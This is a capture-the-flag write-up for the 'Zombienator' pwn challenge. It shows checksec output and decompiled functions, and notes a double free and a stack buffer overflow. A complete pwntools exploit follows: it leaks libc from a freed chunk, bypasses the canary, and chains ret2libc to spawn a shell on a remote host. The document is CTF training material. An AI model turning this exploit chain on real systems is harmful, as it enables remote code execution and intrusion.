Zombienator

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Zombienator/challenge]
└─$ checksec zombienator
[*] '/home/vigneswar/Pwn/Zombienator/challenge/zombienator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Zombienator/challenge]
└─$
```

2) Decompiled the code

Decompile: create - (zombienator)

```
1
2 void create(void)
3
4 {
5   long lVar1;
6   undefined8 *puVar2;
7   ulong __size;
8   ulong uVar3;
9   void *pvVar4;
10  long in_FS_OFFSET;
11
12  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
13  printf("\nZombienator\'s tier: ");
14  __size = read_num();
15  if ((__size < 0x83) && (__size != 0)) {
16    printf("\nFront line (0-4) or Back line (5-9): ");
17    uVar3 = read_num();
18    if (uVar3 < 10) {
19      pvVar4 = malloc(__size);
20      *(void **)(z + uVar3 * 8) = pvVar4;
21      puVar2 = *(undefined8 **)(z + uVar3 * 8);
22      *puVar2 = 0x616e6569626d6f5a;
23      puVar2[1] = 0x6461657220726f74;
24      *(undefined2 *)(puVar2 + 2) = 0x2179;
25      *(undefined *)((long)puVar2 + 0x12) = 0;
26      printf("\n%s[+] Zombienator created!%s\n",&DAT_0010203f,&DAT_00102008);
27    }
28    else {
29      error("[-] Invalid position!");
30    }
31  }
32  else {
33    error("[-] Cannot create Zombienator for this tier!");
34  }
35  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
36                    /* WARNING: Subroutine does not return */
37    __stack_chk_fail();
38  }
39  return;
40 }
41
```

Decompile: removez - (zombienator)

```
1
2 void removez(void)
3
4 {
5   long lVar1;
6   ulong uVar2;
7   long in_FS_OFFSET;
8
9   lVar1 = *(long *)(in_FS_OFFSET + 0x28);
10  printf("\nZombienator\'s position: ");
11  uVar2 = read_num();
12  if (uVar2 < 10) {
13    if (*(long *)(z + uVar2 * 8) == 0) {
14      error("[-] There is no Zombienator here!");
15    }
16    else {
17      free(*(void **)(z + uVar2 * 8));
18      printf("\n%s[+] Zombienator destroyed!%s\n",&DAT_0010203f,&DAT_00102008);
19    }
20  }
21  else {
22    error("[-] Invalid position!");
23  }
24  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
25                    /* WARNING: Subroutine does not return */
26    __stack_chk_fail();
27  }
28  return;
29 }
```

Decompile: display - (zombienator)

```c

void display(void)

{
  long lVar1;
  long in_FS_OFFSET;
  ulong local_18;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  putchar(10);
  for (local_18 = 0; local_18 < 10; local_18 = local_18 + 1) {
    if (*(long *)(z + local_18 * 8) == 0) {
      fprintf(stdout,"Slot [%d]: Empty\n",local_18);
    }
    else {
      fprintf(stdout,"Slot [%d]: %s\n",local_18,*(undefined8 *)(z + local_18 * 8));
    }
  }
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

```

Decompile: attack - (zombienator)

```c

void attack(void)

{
  long in_FS_OFFSET;
  char local_121;
  ulong local_120;
  undefined local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("\nNumber of attacks: ");
  __isoc99_scanf(&DAT_00102607,&local_121);
  for (local_120 = 0; local_120 < (ulong)(long)local_121; local_120 = local_120 + 1) {
    printf("\nEnter coordinates: ");
    __isoc99_scanf(&DAT_00102621,local_118 + local_120 * 8);
  }
  fclose(stderr);
  fclose(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

```

3) Note:

i) The removez function is vulnerable to double free

ii) The attack function is vulnerable to buffer overflow

iii) The stdout and stderr are closed we need to recover them

4) Exploit

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./zombienator")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe

# io = gdb.debug(exe.path, 'c', api=True)
# io = remote('127.0.0.1', 1337)
io = remote('83.136.255.40', 42742)

def malloc(size, index):
    io.sendlineafter(b'>> ', b'1')
    io.sendlineafter(b': ', str(size).encode())
    io.sendlineafter(b': ', str(index).encode())

def free(index):
    io.sendlineafter(b'>> ', b'2')
    io.sendlineafter(b': ', str(index).encode())

def attack(attacks):
    n = len(attacks)//8
    io.sendlineafter(b'>> ', b'4')
    io.sendlineafter(b': ', str(n).encode())
    for i in range(n):
        if i in [33, 34]:
            io.sendlineafter(b': ', b'.') # canary rbp bypass
            continue
        io.sendlineafter(b': ', str(struct.unpack('d', attacks[i*8:i*8+8])
[0]).encode())

## leak libc address

# allocate chunks
for i in range(7):
    malloc(0x82, i)
malloc(0x82, 7)
malloc(0x18, 8) # guard

# fill tcache bins
for i in range(7):
    free(i)
free(7) # unsorted chunk

# leak address
io.sendlineafter(b'>> ', b'3')
io.recvuntil(b'Slot [7]: ')
libc.address = unpack(io.recv(6), 'all')-0x219ce0

rop = ROP(libc)
```

```python
rop.rdi = next(libc.search(b'/bin/sh\x00'))
rop.raw(libc.address+0x1bc0a2)
rop.raw(libc.sym.system)

## ret2libc
attack(b'\x00'*280+rop.chain())

# recover stdout and stderr
sleep(1)
io.sendline(b'exec 1>&0')
io.sendline(b'exec 2>&0')
io.interactive()
```

5) Flag